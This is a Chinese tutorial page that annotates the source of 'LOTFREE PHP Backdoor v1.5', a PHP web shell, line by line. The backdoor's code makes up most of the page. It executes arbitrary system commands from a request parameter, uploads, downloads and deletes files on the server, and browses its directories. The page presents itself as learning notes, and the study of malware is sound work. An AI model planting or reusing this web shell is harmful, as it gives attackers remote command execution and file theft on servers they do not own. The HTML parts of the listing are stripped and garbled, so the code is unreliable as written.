Heim >Backend-Entwicklung >PHP-Tutorial >解释PHP后门文件

解释PHP后门文件

WBOY
WBOYOriginal
2016-07-25 09:13:332011Durchsuche

PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM编写的一个php后门程序,这里对其进行一下简单解析,也当做自己学习php的笔记,该后门程序成执行的命令,取决于安装web服务器和php时用户的权限,如果是管理员的话,那就可以执行各种操作系统命令。

以下是一个后门程序的注释


  1. function good_link($link)
  2. {
  3. $link=ereg_replace(“/+”,”/”,$link);
  4. $link=ereg_replace(“/[^/(..)]+/\.\.”,”/”,$link);
  5. $link=ereg_replace(“/+”,”/”,$link);
  6. if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2);
  7. if($link==”")$link=”.”;
  8. return $link;
  9. }
  10. //$_REQUEST用来取得提交到本文件的数据
  11. $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:”.”; //如果没有定义dir,dir取默认值”.”
  12. $dir=good_link($dir);
  13. $rep=opendir($dir); //打开dir指定的路径句柄
  14. chdir($dir); //切换到dir指定的目录
  15. if(isset($_REQUEST["down"]) &&$_REQUEST["down"]!=”") //如果定义了down
  16. {
  17. header(“Content-Type: application/octet-stream”);
  18. header(“Content-Length: “.filesize($_REQUEST["down"]));
  19. header(“Content-Disposition: attachment; filename=”.basename($_REQUEST["down"]));
  20. readfile($_REQUEST["down"]); //将文件读取到缓冲区
  21. exit();
  22. }
  23. ?>

  24. LOTFREE PHP Backdoor v1.5,易踪网yeetrack.com



  25. echo “当前绝对路径为: ”.getcwd().”
    \n”; //获取当前的绝对路径
  26. echo “dir = ‘$dir’
    \n”;<br>
  27. echo “当前目录,文件列表!

    \n”;<br>
  28. //如果已经输入要执行的命令
  29. if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd']!=”")
  30. {
  31. echo “
    \n”;<br>
  32. system($_REQUEST['cmd']); //在服务器上执行输入的命令,执行结果回显
  33. echo “\n”;<br>
  34. }
  35. //如果已经上传了文件
  36. if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //获取post上来的文件,保存到当前目录
  37. {
  38. if($_FILES["fic"]["size"]
  39. {
  40. if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link(“./”.$_FILES["fic"]["name"]))) //将临时文件保存到当前目录
  41. {
  42. echo “文件保存成功 “.good_link(“./”.$_FILES["fic"]["name"]).”!
    \n”;<br>
  43. }
  44. else echo “文件上传失败: “.$_FILES["fic"]["error"].”
    \n”;<br>
  45. }
  46. else echo “File too large(文件超出大小限制)!
    \n”;<br>
  47. }
  48. if(isset($_REQUEST['rm']) &&$_REQUEST['rm']!=”") //如果定义了rm,即删除指定的文件
  49. {
  50. if(unlink($_REQUEST['rm'])) //unlink是php的删除文件函数
  51. echo “成功删除 “.$_REQUEST['rm'].”!
    \n”;<br>
  52. else echo “删除文件失败
    \n”;<br>
  53. }
  54. ?>



  55. $t_dir=array();
  56. $t_file=array();
  57. $i_dir=0;
  58. $i_file=0;
  59. //循环输读取前的目录文件,放在t_dir和t_file中
  60. while($x=readdir($rep))
  61. {
  62. if(is_dir($x)) //如果当前处理的是目录
  63. $t_dir[$i_dir++]=$x;
  64. else //如果当前处理的是文件
  65. $t_file[$i_file++]=$x;
  66. }
  67. closedir($rep); //关闭由opendir打开的目录句柄
  68. while(1) //循环输入当前路径的目录和文件
  69. {
  70. ?>



  71. //$_SERVER['PHP_SELF']取得当前php脚本文件名
  72. if($y=each($t_file))
  73. {
  74. if($y["key"]%2==0) //如果当前处理的是key
  75. echo ” bgcolor=’lightgreen’>\n”;<br>
  76. else //如果当前处理的是value,即文件。就将该文件展示出来,且提供下载链接。
  77. echo “>\n”;<br>
  78. echo “ ”.$y["value"].”\n”;<br>
  79. }
  80. else echo“>\n”;<br>
  81. ?>

  82. if($y)
  83. {
  84. //如果是文件,就提供以下删除该文件的链接
  85. if($y["key"]%2==0)echo ” bgcolor=’lightgreen’”;
  86. echo “>Del”;
  87. }
  88. else echo “>\n”;<br>
  89. ?>


  90. if(!$x && !$y)
  91. break;
  92. }
  93. ?>

  94. if($x=each($t_dir))
  95. {
  96. $name=$x["value"]; //获取t_dir数组里的目录名称
  97. if($name==’.'){}
  98. elseif($name==’..’) echo “ UP(父目录)

    \n”; //展示一个UP链接,读取父目录的文件列表
  99. else
  100. echo “ ”.$name.”\n”;<br>
  101. }
  102. ?>





  103. ?dir=”>revenirau repertoire d’origine



  104. ”>
  105. Execute commande(执行操作系统命令)


  106. 上传文件到服务器当前目录:

  107. ”>




复制代码





Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn